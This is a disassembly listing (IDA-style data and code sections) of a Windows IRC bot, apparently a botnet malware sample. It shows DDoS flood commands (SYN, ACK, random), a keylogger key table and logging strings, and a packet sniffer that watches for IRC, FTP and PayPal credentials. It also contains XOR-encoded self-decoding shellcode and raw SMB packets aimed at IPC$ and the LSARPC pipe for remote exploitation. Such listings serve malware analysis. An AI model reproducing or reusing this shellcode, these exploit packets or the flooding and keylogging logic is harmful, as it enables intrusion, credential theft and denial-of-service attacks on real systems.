dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202DCo
dd 0FFFFFFFFh, 4202D4h
dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202F0o
dd 0FFFFFFFFh, 4202E8h, 0
dd offset off_438B58
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4200ACh, 0
dword_422098 dd 3, 422078h, 421F30h, 421F10h ; DATA XREF: .nsp0:004220B4o
dword_4220A8 dd 0 ; DATA XREF: sub_41FFDC+47o
; sub_420073+12o
dd offset sub_420036
dd 0
dd offset dword_422098
dword_4220B8 dd 19930520h, 1, 4220D8h, 5 dup(0) ; DATA XREF: .nsp0:loc_420304o
dd 0FFFFFFFFh, 4202FCh
dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF: .nsp0:loc_420318o
dd 0FFFFFFFFh, 420310h, 3BEh dup(0)
dword_423000 dd 0 ; DATA XREF: sub_4177FA+1Fo
dd offset sub_4036CF
dd offset sub_404EE6
dd offset sub_4200C4
dword_423010 dd 0 ; DATA XREF: sub_4177FA+1Ao
dword_423014 dd 0 ; DATA XREF: sub_4177FA+10o
dd offset sub_416852
dd offset sub_41C384
dd offset sub_41D0D6
dd offset sub_41DF48
dword_423028 dd 0 ; DATA XREF: sub_4177FA:loc_417805o
dword_42302C dd 0 ; DATA XREF: sub_417849+65o
dd offset sub_41D17B
dword_423034 dd 0 ; DATA XREF: sub_417849:loc_4178A9o
dword_423038 dd 0 ; DATA XREF: sub_417849+76o
dd offset sub_41DF59
dword_423040 dd 4 dup(0) ; DATA XREF: sub_417849:loc_4178BAo
unk_423050 db 2 ; DATA XREF: sub_401000+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_42308C db 2 ; DATA XREF: sub_4010B2+302o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
align 4
unk_4230E4 db 2 ; DATA XREF: sub_401447+397o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
unk_423148 db 2 ; DATA XREF: sub_401447+307o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 4
unk_4231AC db 2 ; DATA XREF: sub_401447+12Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 10h
unk_4231E0 db 2 ; DATA XREF: sub_401447+C2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C db 2 ; DATA XREF: sub_401447+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_423274 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182E+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 10h
dword_4232B0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_4018CA+27Do
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4232E0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+4EBo
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_423344 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+44Fo
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401BD6+312o
; sub_40CE55+2B28o ...
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401BD6+2F2o
; sub_40CE55+2B11o
aSyn db 'syn',0 ; DATA XREF: sub_401BD6+2D2o
; sub_40CE55+2AF9o
dword_4233B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+15Fo
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4233EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+EEo
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_423438 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+70o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4021FB:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_423BB4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_423BEC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: sub_40211A+AEo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
align 4
aAb db 'ab',0 ; DATA XREF: sub_40211A+4Eo
; sub_40CE55+29D7o
align 10h
asc_423C30: ; DATA XREF: sub_40211A+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
align 10h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
align 10h
off_423C80 dd offset dword_4244F8 ; DATA XREF: sub_4024DC+29Er
dd offset off_4244F4
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dword_423C90 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_4024DC+1DEo
dword_423CA4 dd 0 ; DATA XREF: sub_4024DC+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: .nsp0:00423C8Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: .nsp0:00423C88o
off_4244F4 dd offset aHeloRndnickMai+25h ; DATA XREF: .nsp0:00423C84o
dword_4244F8 dd 544F42h ; DATA XREF: .nsp0:off_423C80o
unk_4244FC db 2 ; DATA XREF: sub_4024DC+2FCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_424544 db 2 ; DATA XREF: sub_4024DC+2ABo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024DC+235o
align 4
unk_424598 db 2 ; DATA XREF: sub_4024DC+186o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 4
unk_4245E4 db 2 ; DATA XREF: sub_4024DC+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
dword_42462C dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
; DATA XREF: sub_4024DC+85o
dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 73203A72h
dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
jmp short loc_42468A
; =============== S U B R O U T I N E =======================================
sub_42467A proc far ; CODE XREF: sub_42467A:loc_42468Ap
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_424682: ; CODE XREF: sub_42467A+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_424682
jmp short loc_42468F
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: .nsp0:00424678j
call near ptr sub_42467A
loc_42468F: ; CODE XREF: sub_42467A+Ej
jo short loc_4246F3
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_424711
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_4246F3: ; CODE XREF: sub_42467A:loc_42468Fj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_424711: ; CODE XREF: sub_42467A+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_42467A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4247B8: ; DATA XREF: sub_402988+150o
; sub_402988+20Do
jmp short loc_4247CA
; =============== S U B R O U T I N E =======================================
sub_4247BA proc near ; CODE XREF: sub_4247BA:loc_4247CAp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4247C2: ; CODE XREF: sub_4247BA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4247C2
jmp short loc_4247CF
; ---------------------------------------------------------------------------
loc_4247CA: ; CODE XREF: .nsp0:loc_4247B8j
call sub_4247BA
loc_4247CF: ; CODE XREF: sub_4247BA+Ej
jo short near ptr dword_424748+1Eh
cwde
cdq
cdq
retn
sub_4247BA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_424868 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_402988+101o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_402DDD+7Fo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DDD+AAo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_424A88 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DDD+CFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_424B68 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+57o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_402988+86o
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_424BCC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+2B0o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_424C38 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+2DBo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+3C3o
